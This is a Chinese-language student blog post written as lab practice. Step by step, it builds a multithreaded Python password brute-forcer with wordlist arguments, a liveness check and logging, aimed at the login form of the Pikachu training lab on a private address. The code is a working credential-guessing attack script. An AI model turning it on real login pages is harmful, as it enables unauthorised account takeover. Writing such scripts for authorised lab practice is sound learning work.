POC学习

​ POC测试,即Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承载用户数据量和运行时间进行实际测算,并根据用户未来业务扩展的需求加大数据量以验证系统和平台的承载能力和性能变化。
​ 今天,王哥演示了一下一个爆破脚本编写,也就是写了个poc来验证是复测弱口令漏洞

​ 这里对上课学的东西做一下复盘,写一个结合自己理解的POC,可以参考很多例子,但还是写一个自己思路的把

https://cloud.tencent.com/developer/article/1759225

基于pikachu弱口令爆破的脚本

​ 在用xray扫pikachu靶场时,我们会遇到暴力破解的漏洞,这时候我们可以写一个简单的爆破脚本来测试,虽然burp很好用,但写一个poc练习一下也挺好的,写一下需求思维导图,流程图

​ 爆破,顾名思义,简单粗暴,对账号,密码用字典一个一个匹配测试,思路比较简单,但实际情况很复杂,有验证码,流量限制等。我们需要考虑这些问题。下面给出一个需求的思维导图。

image-20240719211510589

需求要点多,一步一步来吧,像上课一样,先获取页面,传参,交互,慢慢添加功能,再画一个功能的流程图

![一个爆破账号密码的python工具流程图 (1)](C:\Users\yxz\Downloads\一个爆破账号密码的python工具流程图 (1).png)

上面是ai生成的,好细致,还学了两个点,输出日志和结果,这是我没考虑到的。下面先针对pikachu的爆破页面进行编写

开发环境

操作系统:windows10

运行环境:python 3.9.12,pycharm

主要依赖:在requirement.txt里

访问页面

先具体看下页面内容,爬虫后续再实现

image-20240720095556210

查看源码

image-20240720095708441

post方法,这样子参数不好确定,抓包看看

image-20240720095839240

可以,确定参数

username=admin&password=admin&submit=Login

获取页面

这个可以用requests模块,不会用就搜怎么用

https://blog.csdn.net/m0_43404934/article/details/122331463

import requests

url = "http://192.168.174.160/pikachu/vul/burteforce/bf_form.php"
r = requests.post(url)
print(r.text)

image-20240720103304336

传递参数

username=admin&password=admin&submit=Login

传递参数,requests要求参数要写成key-value的格式,也可以是json的格式,这里我们用字典的形式传参,这里先写个正确的密码,看返回内容会不会改变

传回来的内容,有点难看,看下给它保存成html文件试试

with open ( r'HTML.html', 'w+') as f:
f.write(r.text)

image-20240720104937870

返回成功的标志是success

判断是否成功

可以先用简单if in来试试,简单修改下代码

#!/usr/bin/ python3
# _*_ coding:utf-8 _*_

import requests
username="admin"
password="123456"
data = {
"username":username,
"password":password,
"submit":"Login"
}

url = "http://192.168.174.160/pikachu/vul/burteforce/bf_form.php"
r = requests.post(url,data=data)
#print(type(r))
# with open ( r'HTML.html', 'w+') as f:
# f.write(r.text)
#print(r.text)
if "success" in r.text:
print("[+]爆破成功:用户名:" + username + ",密码:" + password)

image-20240720105304209

结合字典

image-20240720105405572

username.txt(pikachu打错了)

image-20240720105444526

password.txt

image-20240720160206509

读取字典,存为列表

with open("username.txt","r") as f1:
username = f1.read().split("\n")
with open("password.txt","r") as f2:
password = f2.read().split("\n")
print(username)
# print(password[1])
print(password)

image-20240720163133423

执行爆破run

我们可以把爆破过程封装成一个函数

def run(username,pssword,url):
for i in username:
for j in password:
data = {
"username": i,
"password": j,
"submit": "Login"
}
r = requests.post(url, data=data)
if "success" in r.text:
print("[+]爆破成功:用户名:" + i + ",密码:" + j)
else:
print("[-]爆破失败:用户名:" + i + ",密码:" + j)

然后执行run函数

image-20240720163820838

如果我们只想看成功例子,可以把else注释了

image-20240720164108876

到这里就基本实现了一个爆破的poc了,下面我们可以继续扩展

高级:https://www.cnblogs.com/JIAcheerful/p/18226320

扩展一:用参数指定两个字典

https://blog.csdn.net/MengYa_Dream/article/details/124451852

这里就要用到我们的parser库了,在学习过程 中,发现argparser更好用,下面这个是官中文档,有例子,容易理解

https://docs.python.org/zh-cn/3/library/argparse.html

使用 argparse 的第一步是创建一个 ArgumentParser 对象:

import argparser #导入argparser模块
parser = argparse.ArgumentParser(description='参数功能')

ArgumentParser 对象包含将命令行解析成 Python 数据类型所需的全部信息。

添加参数

https://blog.csdn.net/MilkLeong/article/details/115639740

给一个 ArgumentParser 添加程序参数信息是通过调用 add_argument() 方法完成的。通常,这些调用指定 ArgumentParser 如何获取命令行字符串并将其转换为对象。这些信息在 parse_args() 调用时被存储和使用。例如:

parser.add_argument('-u', '--username', required=True, type=str, metavar="username.txt", help="指定用户字典")
parser.add_argument('-p', '--password', required=True, type=str, metavar="username.txt", help="指定密码字典")

完成代码

import argparse #导入模块
#获取字典数据存为列表
def get_data(path):
with open(path, "r") as f:
data = f.read().split("\n")
return data


parser = argparse.ArgumentParser(description='参数功能')
parser.add_argument('-u', '--username', required=True, type=str, metavar="username.txt", help="指定用户字典")
parser.add_argument('-p', '--password', required=True, type=str, metavar="username.txt", help="指定密码字典")
args = parser.parse_args()
username = get_data(args.username)
password = get_data(args.password)
print(username)
print(password)

如果是pycharm可以在Terminal里测试

image-20240720171822365

这里为了方便演示,我就在外面的cmd里演示了

image-20240720185111324

image-20240720185127470

可以,这时候我们就可以去改我们的poc了

#!/usr/bin/ python3
# _*_ coding:utf-8 _*_

import requests
import argparse

#文件读取
def get_data(path):
with open(path, "r") as f:
data = f.read().split("\n")
return data


parser = argparse.ArgumentParser(description='参数功能')
parser.add_argument('-u', '--username', required=True, type=str, metavar="username.txt", help="指定用户字典")
parser.add_argument('-p', '--password', required=True, type=str, metavar="username.txt", help="指定密码字典")
args = parser.parse_args()
username = get_data(args.username)
password = get_data(args.password)
#print(username)
#print(password)

url = "http://192.168.174.160/pikachu/vul/burteforce/bf_form.php"
def run(username,pssword,url):
for i in username:
for j in password:
data = {
"username": i,
"password": j,
"submit": "Login"
}
r = requests.post(url, data=data)
if "success" in r.text:
print("[+]爆破成功:用户名:" + i + ",密码:" + j)
# else:
# print("[-]爆破失败:用户名:" + i + ",密码:" + j)
run(username,password,url)

image-20240720193949945

成功执行,然后在写这个功能的时候遇到个问题,就是虚拟机挂起了,服务没了,这时候未响应,也没有输出,我们可以做个探活,然后可以看下这篇文章,后续有用

https://blog.csdn.net/heqiang525/article/details/89879056

扩展二:探测服务存活

https://blog.csdn.net/CNXBDSa/article/details/120055796

import requests
url = "http://192.168.174.160/pikachu/vul/burteforce/bf_form.php"
try:
respone = requests.get(url, timeout=5)
print(f"响应状态码:{respone.status_code} -----> {url}")
except requests.exceptions.RequestException as e:
print(f"请求失败: {url}, 错误信息: {e}")

原理就是根据响应码来判断,我们先看看服务存活的结果

image-20240720200228410

可以看到是存活的,下面我们把服务关闭试试

image-20240720200308097

image-20240720200400844

可以看到返回失败的信息了,当然如果网络状态不好的状况下,我们可以适当提高timeout的时间,我们可以把timeout作为可控参数传递,然后设置好默认的值为5

parser.add_argument('-t', '--timeout', required=False, type=int, metavar="5", help="设置超时时间", default=5)

然后报错信息有时候太多影响体验可以看下这篇

Python 获取Python中的异常详细信息

def check(url, timeout):
try:
respone = requests.get(url, timeout=timeout)
print(f"响应状态码:{respone.status_code} -----> {url}")
return respone.status_code
except requests.exceptions.RequestException as e:
print(f"请求失败: {url}, 错误信息: {type(e).__name__}")
return

这样子报错信息会少很多

image-20240720201506459

也可以测试timeout参数有没有生效,不懂有没有上限,我们设置个10s,在10s内我们把服务重新启动起来看看,我这样子设计不合理,连接是一次请求,一次返回。如果没有明确返回,才会探测,如果直接拒绝连接,导致失败,它都不会等,所以这个实验不靠谱,要限制流量测试才合理,但这个有点难度。。。暂时不测了,先放那。

扩展三:提升速度

Python 并发编程实战,用多线程、多进程、多协程加速程序运行

python并发编程这一篇就够了

多线程:threading,利用CPU和IO可以同时执行的原理,让CPU不会干巴巴等待IO完成

多进程:multiprocessing,利用多核CPU的能力,真正的并行执行任务

asyncio,异步IO:在单线程利用CPU和IO同时执行的原理,实现函数异步执行

使用Lock对资源加锁,防止冲突访问

使用Queue实现不同线程/进程之间的数据通信,实现生产者-消费者模式

操作系统的超级难点。。。。

使用线程池Pool/进程池Po0l,简化线程/进程的任务提交、等待结束、获取结果

使用subprocess启动外部程序的进程,并进行输入输出交互

image-20240720203118431

怎么感觉爆破,两个都沾点,但应该是IO密集型,网络开销比较大

image-20240720203257214

image-20240720203336198

选择多线程

image-20240720203524130

后面的生产者消费者就不看了,太难了,下面是两种代码

原版

#!/usr/bin/ python3
# _*_ coding:utf-8 _*_

import requests
import argparse
import time
# 文件读取
def get_data(path):
with open(path, "r") as f:
data = f.read().split("\n")
return data


parser = argparse.ArgumentParser(description='参数功能')
parser.add_argument('-u', '--username', required=True, type=str, metavar="username.txt", help="指定用户字典")
parser.add_argument('-p', '--password', required=True, type=str, metavar="username.txt", help="指定密码字典")
parser.add_argument('-t', '--timeout', required=False, type=int, metavar="5", help="设置超时时间", default=5)
args = parser.parse_args()
username = get_data(args.username)
password = get_data(args.password)
timeout = args.timeout
# print(username)
# print(password)
url = "http://192.168.174.160/pikachu/vul/burteforce/bf_form.php"

# 探活
def check(url, timeout):
try:
respone = requests.get(url, timeout=timeout)
print(f"响应状态码:{respone.status_code} -----> {url}")
return respone.status_code
except requests.exceptions.RequestException as e:
print(f"请求失败: {url}, 错误信息: {type(e).__name__}")
return


# 主函数
def run(username, password, url, timeout):
if check(url, timeout) != 200:
return
for i in username:
for j in password:
data = {
"username": i,
"password": j,
"submit": "Login"
}
r = requests.post(url, data=data)
if "success" in r.text:
print("[+]爆破成功:用户名:" + i + ",密码:" + j)
# else:
# print("[-]爆破失败:用户名:" + i + ",密码:" + j)
return

if __name__ == "__main__":
start = time.time()
run(username, password, url, timeout)
end = time.time()
print("time"+str(end - start)+"seconds")

多线程

#!/usr/bin/ python3
# _*_ coding:utf-8 _*_

import requests
import argparse
import threading
import time

# 文件读取
def get_data(path):
with open(path, "r") as f:
data = f.read().split("\n")
return data


parser = argparse.ArgumentParser(description='参数功能')
parser.add_argument('-u', '--username', required=True, type=str, metavar="username.txt", help="指定用户字典")
parser.add_argument('-p', '--password', required=True, type=str, metavar="username.txt", help="指定密码字典")
parser.add_argument('-t', '--timeout', required=False, type=int, metavar="5", help="设置超时时间", default=5)
args = parser.parse_args()
username = get_data(args.username)
password = get_data(args.password)
timeout = args.timeout
# print(username)
# print(password)
url = "http://192.168.174.160/pikachu/vul/burteforce/bf_form.php"

# 探活
def check(url, timeout):
try:
respone = requests.get(url, timeout=timeout)
print(f"响应状态码:{respone.status_code} -----> {url}")
return respone.status_code
except requests.exceptions.RequestException as e:
print(f"请求失败: {url}, 错误信息: {type(e).__name__}")
return


# 主函数
def run(username, password, url):

data = {
"username": username,
"password": password,
"submit": "Login"
}
r = requests.post(url, data=data)
if "success" in r.text:
print("[+]爆破成功:用户名:" + username + ",密码:" + password)
# else:
# print("[-]爆破失败:用户名:" + i + ",密码:" + j)
return

# 多线程
def multi_thread(username, password,url,timeout):
if check(url, timeout) != 200:
return

threads = []
for i in username:
for j in password:
threads.append(threading.Thread(target=run, args=(i,j,url,)))

for thread in threads:
thread.start()
for thread in threads:
thread.join()

print("运行结束")

if __name__ == "__main__":
start = time.time()
multi_thread(username, password, url, timeout)
end = time.time()
print("time"+str(end - start)+"seconds")

对比

少量数据

image-20240720210135386

image-20240720210143724

可以看到原版还更快

大量数据

image-20240720210224710

image-20240720210241091

image-20240720212023505

可以看到数据量大了,多线程的速度快的多,快了快一倍,但测试中也有问题,多线程容易报错,而且一报错就很多报错信息。。。。可能是因为没有上锁导致的安全问题,这个要学的就有点多了。。。果然把BP用好比啥都强。。。

扩展四:输出日志

https://blog.csdn.net/chrnhao/article/details/138216601

# 配置日志记录
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

# 创建文件处理程序
current_time = time.strftime('%Y-%m-%d_%H-%M-%S', time.localtime())
log_file_name = f"{current_time}_{url.replace('/', '_').replace(':', '_')}.txt"
file_handler = logging.FileHandler(log_file_name, encoding='utf-8')
file_handler.setLevel(logging.INFO)
file_formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
file_handler.setFormatter(file_formatter)
logger.addHandler(file_handler)

image-20240720212050200

image-20240720212100919

image-20240720212122504

image-20240720212129319

可以看到效果还是不错的

问题修复

image-20240720212409948

可以看到是不同进程之间引起了错误

image-20240720212449229

无法连接,这个我也无法解决

错误信息太多

看不过来我们可以提升日志记录的等级为,把error也记录进去

# 配置日志记录
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

在查看代码的过程发现,有这么多异常信息是因为run’没有作异常处理

image-20240720212620278

做一下requests的异常处理

# 主函数
def run(username, password, url):
try:
data = {
"username": username,
"password": password,
"submit": "Login"
}
r = requests.post(url, data=data)
if "success" in r.text:
logger.info("[+]爆破成功:用户名:" + username + ",密码:" + password)
# else:
# logger.info("[-]爆破失败:用户名:" + i + ",密码:" + j)
except requests.exceptions.RequestException as e:

logger.exception(f"请求失败: {url}, 错误信息: {type(e).__name__},测试数据: username:{username}, password {password}")

输出复杂(日志就不带url,太长了)

image-20240720214659595

密密麻麻的,不好找,在最后再加一个正确的输出结果,先用一个列表把成功的结果存起来,下面是改完后的完整代码

import requests
import argparse
import threading
import time
import logging

url = "http://192.168.174.160/pikachu/vul/burteforce/bf_form.php"
# 配置日志记录
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

# 创建文件处理程序
current_time = time.strftime('%Y-%m-%d_%H-%M-%S', time.localtime())
log_file_name = f"{current_time}.txt"
file_handler = logging.FileHandler(log_file_name, encoding='utf-8')
file_handler.setLevel(logging.DEBUG) # 设置日志级别为 DEBUG
file_formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
file_handler.setFormatter(file_formatter)
logger.addHandler(file_handler)

# 用于存储成功的结果
success_results = []


# 文件读取
def get_data(path):
with open(path, "r") as f:
data = f.read().split("\n")
return data


# 控制参数
parser = argparse.ArgumentParser(description='参数功能')
parser.add_argument('-u', '--username', required=True, type=str, metavar="username.txt", help="指定用户字典")
parser.add_argument('-p', '--password', required=True, type=str, metavar="username.txt", help="指定密码字典")
parser.add_argument('-t', '--timeout', required=False, type=int, metavar="5", help="设置超时时间", default=5)
args = parser.parse_args()
username = get_data(args.username)
password = get_data(args.password)
timeout = args.timeout


# 探活
def check(url, timeout):
try:
response = requests.get(url, timeout=timeout)
logger.info(f"响应状态码:{response.status_code} -----> {url}")
return response.status_code
except requests.exceptions.RequestException as e:
logger.error(f"请求失败: {url}, 错误信息: {type(e).__name__}")
return


# 主函数
def run(username, password, url):
try:
data = {
"username": username,
"password": password,
"submit": "Login"
}
r = requests.post(url, data=data)
if "success" in r.text:
success_results.append(f"[+]爆破成功:用户名:{username},密码:{password}")
logger.info(success_results[-1]) # 记录成功的日志信息
else:
logger.debug(f"[-]爆破失败:用户名:{username},密码:{password}")
except requests.exceptions.RequestException as e:
logger.error(f"请求失败: {url}, 错误信息: {type(e).__name__}, 测试数据: username:{username}, password {password}")


# 多线程
def multi_thread(username, password, url, timeout):
if check(url, timeout) != 200:
return

threads = []
for i in username:
for j in password:
threads.append(threading.Thread(target=run, args=(i, j, url,)))

for thread in threads:
thread.start()
for thread in threads:
thread.join()

logger.info("运行结束")

# 输出成功的结果
logger.info("成功的结果:")
for result in success_results:
logger.info(result)


if __name__ == "__main__":
multi_thread(username, password, url, timeout)

查看运行结果

image-20240720214903717

不错,检查下日志

image-20240720214928207

加上错误原因,省略爆破失败的结果

import requests
import argparse
import threading
import time
import logging

url = "http://192.168.174.160/pikachu/vul/burteforce/bf_form.php"
# 配置日志记录
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

# 创建文件处理程序
current_time = time.strftime('%Y-%m-%d_%H-%M-%S', time.localtime())
log_file_name = f"{current_time}.txt"
file_handler = logging.FileHandler(log_file_name, encoding='utf-8')
file_handler.setLevel(logging.DEBUG) # 设置日志级别为 DEBUG
file_formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
file_handler.setFormatter(file_formatter)
logger.addHandler(file_handler)

# 用于存储成功的结果
success_results = []


# 文件读取
def get_data(path):
with open(path, "r") as f:
data = f.read().split("\n")
return data


# 控制参数
parser = argparse.ArgumentParser(description='参数功能')
parser.add_argument('-u', '--username', required=True, type=str, metavar="username.txt", help="指定用户字典")
parser.add_argument('-p', '--password', required=True, type=str, metavar="username.txt", help="指定密码字典")
parser.add_argument('-t', '--timeout', required=False, type=int, metavar="5", help="设置超时时间", default=5)
args = parser.parse_args()
username = get_data(args.username)
password = get_data(args.password)
timeout = args.timeout


# 探活
def check(url, timeout):
try:
response = requests.get(url, timeout=timeout)
logger.info(f"响应状态码:{response.status_code} -----> {url}")
return response.status_code
except requests.exceptions.RequestException as e:
logger.error(f"请求失败: {url}, 错误信息: {type(e).__name__}")
return


# 主函数
def run(username, password, url):
try:
data = {
"username": username,
"password": password,
"submit": "Login"
}
r = requests.post(url, data=data)
if "success" in r.text:
success_results.append(f"[+]爆破成功:用户名:{username},密码:{password}")
logger.info(success_results[-1]) # 记录成功的日志信息
# else:
# logger.debug(f"[-]爆破失败:用户名:{username},密码:{password}")
except requests.exceptions.RequestException as e:
logger.info(f"请求失败: {url}, 错误信息: {type(e).__name__}, 测试数据: username:{username}, password {password}")


# 多线程
def multi_thread(username, password, url, timeout):
if check(url, timeout) != 200:
return

threads = []
for i in username:
for j in password:
threads.append(threading.Thread(target=run, args=(i, j, url,)))

for thread in threads:
thread.start()
for thread in threads:
thread.join()

logger.info("运行结束")

# 输出成功的结果
print("成功的结果:")
for result in success_results:
print(result)


if __name__ == "__main__":
multi_thread(username, password, url, timeout)

image-20240720215502439

但还是感觉信息有点不是我想要的,再次调试后,终极版来了

import requests
import argparse
import threading
import time
import logging

url = "http://192.168.174.160/pikachu/vul/burteforce/bf_form.php"
# 配置日志记录
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

# 创建文件处理程序
current_time = time.strftime('%Y-%m-%d_%H-%M-%S', time.localtime())
log_file_name = f"{current_time}.txt"
file_handler = logging.FileHandler(log_file_name, encoding='utf-8')
file_handler.setLevel(logging.DEBUG) # 设置日志级别为 DEBUG
file_formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
file_handler.setFormatter(file_formatter)
logger.addHandler(file_handler)

# 用于存储成功的结果
success_results = []


# 文件读取
def get_data(path):
with open(path, "r") as f:
data = f.read().split("\n")
return data


# 控制参数
parser = argparse.ArgumentParser(description='参数功能')
parser.add_argument('-u', '--username', required=True, type=str, metavar="username.txt", help="指定用户字典")
parser.add_argument('-p', '--password', required=True, type=str, metavar="username.txt", help="指定密码字典")
parser.add_argument('-t', '--timeout', required=False, type=int, metavar="5", help="设置超时时间", default=5)
args = parser.parse_args()
username = get_data(args.username)
password = get_data(args.password)
timeout = args.timeout


# 探活
def check(url, timeout):
try:
response = requests.get(url, timeout=timeout)
logger.info(f"响应状态码:{response.status_code} -----> {url}")
return response.status_code
except requests.exceptions.RequestException as e:
logger.error(f"请求失败: {url}, 错误信息: {type(e).__name__}")
return


# 主函数
def run(username, password, url):
try:
data = {
"username": username,
"password": password,
"submit": "Login"
}
r = requests.post(url, data=data)
if "success" in r.text:
success_results.append(f"[+]爆破成功:用户名:{username},密码:{password}")
logger.info(success_results[-1]) # 记录成功的日志信息
# else:
# logger.debug(f"[-]爆破失败:用户名:{username},密码:{password}")
except requests.exceptions.RequestException as e:
logger.info(f"请求失败: {url}, 错误信息: {type(e).__name__}, 测试数据: username:{username}, password {password}")


# 多线程
def multi_thread(username, password, url, timeout):
if check(url, timeout) != 200:
return

threads = []
for i in username:
for j in password:
threads.append(threading.Thread(target=run, args=(i, j, url,)))

for thread in threads:
thread.start()
for thread in threads:
thread.join()

logger.info("运行结束")

# 输出成功的结果
print("成功的结果:")
for result in success_results:
print(result)


if __name__ == "__main__":
multi_thread(username, password, url, timeout)

image-20240720220123972

可以看到终极版的输出,有成功和请求失败的,对于多线程导致的请求失败的结果哦我们可以单独再测试一次。。。吃了不会多线程的苦,检查下日志

image-20240720220335586

对于请求失败的测试结果和成功的结果都有区分,然后命名也不会太长

挖坑总结

  1. 这只是对当个url的测试
  2. 没有爬虫
  3. 没有token,session,cookie
  4. 没有验证码绕过
  5. 好累
  6. 把BP用好比啥都强,还是学BP的爆破容易一点